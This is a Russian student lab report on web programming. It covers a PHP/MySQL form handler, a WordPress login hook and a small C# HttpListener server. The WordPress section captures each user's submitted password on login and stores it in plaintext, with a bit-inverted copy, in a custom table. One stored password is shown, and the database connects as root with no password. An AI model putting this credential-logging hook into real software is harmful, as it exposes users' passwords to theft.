

МИНИСТЕРСТВО НАУКИ И ВЫСШЕГО ОБРАЗОВАНИЯ РФ
ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ АВТОНОМНОЕ
ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ
ИТМО
ITMO University
ФАКУЛЬТЕТ ИНФОКОММУНИКАЦИОННЫХ ТЕХНОЛОГИЙ

Отчет по лабораторной работе №4
по дисциплине “Web-программирование”

Выполнил: студент
группы К3323
Влазнев Д. В.
Преподаватель:
Марченко Е. В.

г. Санкт-Петербург,
2024

Введение.....	3
1. Сохранение формы в базу данных	4
2. История входа на сайт	7
3. Собственный веб сервер.....	8
Вывод.....	10

Введение

Цель работы: изучить взаимодействие HTML, PHP, MySQL.

Задачи:

1. Реализовать сохранение данных из формы в базу данных MySQL.
2. Сделать дополнительный функционал при регистрации пользователей в WordPress.
3. Написать свой веб сервер.

1. Сохранение формы в базу данных

Для начала создадим базу данных. Она будет включать 3 таблицы: клиенты, продукты и клиенты-продукты. В приложении будут фиксированные товары, отображаемые в форме. При отправке формы будет создаваться новый пользователь и его товары будут помещать в таблицу клиенты-продукты (связь many-to-many). Напишем SQL скрипт для создания таблицы (См. Рисунок 1–3).

```
CREATE TABLE products (  
    product_id INT AUTO_INCREMENT PRIMARY KEY,  
    product_name VARCHAR(100) NOT NULL  
);  
  
INSERT INTO products (product_name) VALUES ('Product 1'), ('Product 2'), ('Product 3');
```

Рисунок 1 – Таблица продуктов и ее инициализация

```
CREATE TABLE customers (  
    customer_id INT AUTO_INCREMENT PRIMARY KEY,  
    name VARCHAR(50) NOT NULL,  
    lastname VARCHAR(50) NOT NULL,  
    patronymic VARCHAR(50),  
    address VARCHAR(255) NOT NULL,  
    phone VARCHAR(15) NOT NULL,  
    email VARCHAR(100) NOT NULL  
);
```

Рисунок 2 – Таблица клиентов

```
CREATE TABLE customer_products (  
    id INT AUTO_INCREMENT PRIMARY KEY,  
    customer_id INT,  
    product_id INT,  
    FOREIGN KEY (customer_id) REFERENCES customers(customer_id) ON DELETE CASCADE,  
    FOREIGN KEY (product_id) REFERENCES products(product_id) ON DELETE CASCADE,  
    comment TEXT  
);
```

Рисунок 3 – Таблица клиенты-продукты

Теперь необходимо создать HTML форму (См. Рисунок 4–5).

```

<form action="save_form.php" method="post">
  <label for="name">Name:</label><br>
  <input type="text" name="name" id="name" required><br>

  <label for="lastname">Last Name:</label><br>
  <input type="text" name="lastname" id="lastname" required><br>

  <label for="patronymic">Patronymic:</label><br>
  <input type="text" name="patronymic" id="patronymic"><br>

  <label for="address">Address:</label><br>
  <input type="text" name="address" id="address" required><br>

  <label for="phone">Phone:</label><br>
  <input type="tel" name="phone" id="phone" required><br>

  <label for="email">Email:</label><br>
  <input type="email" name="email" id="email" required><br>

  <label for="products">Products:</label><br>
  <select name="products[]" id="products" multiple>
    <option value="1">Product 1</option>
    <option value="2">Product 2</option>
    <option value="3">Product 3</option>
  </select><br>

  <label for="comment">Comment:</label><br>
  <textarea name="comment" id="comment" rows="3"></textarea><br>

  <input type="submit" value="Submit">
</form>

```

Рисунок 4 – Код формы

Name:

Last Name:

Patronymic:

Address:

Phone:

Email:

Products:
☐ Product 1
☐ Product 2
☐ Product 3

Comment:

Рисунок 5 – Форма

Чтобы связать все вместе необходимо написать PHP скрипт (См. Рисунок 6–7).

```
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "task_1";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

$name = $_POST['name'];
$lastname = $_POST['lastname'];
$patronymic = $_POST['patronymic'];
$address = $_POST['address'];
$phone = $_POST['phone'];
$email = $_POST['email'];
$products = $_POST['products'];
$comment = $_POST['comment'];
```

Рисунок 6 – Скрипт

```
try {
    $conn->begin_transaction();

    $sql_customer = "INSERT INTO customers (name, lastname, patronymic, address, phone, email)
    VALUES (?, ?, ?, ?, ?, ?)";
    $stmt_customer = $conn->prepare($sql_customer);
    $stmt_customer->bind_param("ssssss", $name, $lastname, $patronymic, $address, $phone, $email);
    $stmt_customer->execute();

    // Get the last inserted customer ID
    $customer_id = $conn->insert_id;

    $sql_product = "INSERT INTO customer_products (customer_id, product_id, comment) VALUES (?, ?, ?)";
    $stmt_product = $conn->prepare($sql_product);
    foreach ($products as $product_id) {
        $stmt_product->bind_param("iis", $customer_id, $product_id, $comment);
        $stmt_product->execute();
    }

    $conn->commit();
    echo "Data saved successfully";
}
catch (Exception $e) {
    $conn->rollback();
    echo "Transaction failed: " . $e->getMessage();
}
finally {
    $conn->close();
}
?>
```

Рисунок 7 – Скрипт

Тогда после обработки формы можно увидеть результат (См. Рисунок 8–9):

	customer_id	name	lastname	patronymic	address	phone	email
<input type="checkbox"/> Изменить <input type="checkbox"/> Копировать <input type="checkbox"/> Удалить	4	Danila	Vlaznev	Vladimirovich	Saint-Petersburg	+79316102384	vlaznev.04@mail.ru

Рисунок 8 – Результат

				id	customer_id	product_id	comment
<input type="checkbox"/>		Изменить		Копировать		Удалить	6 4 1 NULL
<input type="checkbox"/>		Изменить		Копировать		Удалить	7 4 2 NULL
<input type="checkbox"/>		Изменить		Копировать		Удалить	8 4 3 NULL

Рисунок 9 – Результат

2. История входа на сайт

Для того, чтобы дополнительно сохранять логин и пароль для начала необходимо создать таблицу (См. Рисунок 10).

```
CREATE TABLE custom_user_logins (
    id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL,
    password VARCHAR(255) NOT NULL,
    inverted_password VARCHAR(255) NOT NULL
);
```

Рисунок 10 – Таблица

Далее создадим функцию, которая будет сохранять данные в базу данных, и свяжем ее с хуком wp_login() (См. Рисунок 11–12).

```
function save_user_login_info($user_login, $user) {
    global $wpdb;

    $password = $_POST['pwd'];
    $inverted_password = invert_password_bits($password);

    $wpdb->insert('custom_user_logins', array(
        'username' => $user_login,
        'password' => $password,
        'inverted_password' => $inverted_password
    ));
}

Codeium: Refactor | Explain | Generate Function Comment | X
function invert_password_bits($password) {
    $binary_string = '';
    for ($i = 0; $i < strlen($password); $i++) {
        $binary_string .= ~ord($password[$i]);
    }
    return $binary_string;
}

add_action('wp_login', 'save_user_login_info', 10, 2);
```

Рисунок 11 – Функция

				id	username	password	inverted_password
<input type="checkbox"/>		Изменить		Копировать		Удалить	1 geherious HD4K08SPzCv90L5YJu -73-69-53-76-49-57-84-81-123-68-119-58-49-77-54-90...

Рисунок 12 – Результат

3. Собственный веб сервер

Я буду использовать C# для этой задачи. Создадим проект, а в нем файл index.html. Для сервера будем использовать встроенный класс `HttpListener`, который будет слушать на заданном порту и отдавать заготовленный массив байтов, представляющий собой прочитанный HTML документ (См. Рисунок 13–16).

```
<html>
  <head>
    <title>Hello World</title>
  </head>
  <body>
    <h1>Hello World!</h1>
  </body>
</html>
```

Рисунок 13 – HTML

```
private static async Task<byte[]> GetHtmlDataAsync()
{
    byte[] result;
    try
    {
        using StreamReader reader = new StreamReader("index.html");

        string data = await reader.ReadToEndAsync();

        result = Encoding.UTF8.GetBytes(data);
    }
    catch (FileNotFoundException)
    {
        Console.WriteLine("index.html was not found in the root folder");
        throw;
    }

    return result;
}
```

Рисунок 14 – Функция чтения HTML файла

```
public static async Task Main(string[] args)
{
    string url = "http://127.0.0.1:888/";

    using HttpListener listener = new HttpListener();

    listener.Prefixes.Add(url);
    listener.Start();

    Console.WriteLine("Listening for connections on " + url);

    byte[] indexFile = await GetHtmlDataAsync();
}
```

Рисунок 15 – Основная функция


```
while (true)
{
    HttpListenerContext context = await listener.GetContextAsync();
    HttpListenerRequest request = context.Request;
    HttpListenerResponse response = context.Response;

    response.ContentLength64 = indexFile.Length;
    response.ContentType = "text/html";

    await response.OutputStream.WriteAsync(indexFile, 0, indexFile.Length);
    response.Close();
}
```

Рисунок 16 – Основная функция

Тогда при запуске приложения и переходе по ссылке открывается index.html (См. Рисунок 17).



Рисунок 17 – Результат

Вывод

Я изучил взаимодействие HTML, PHP, MySQL. И написал свой веб сервер.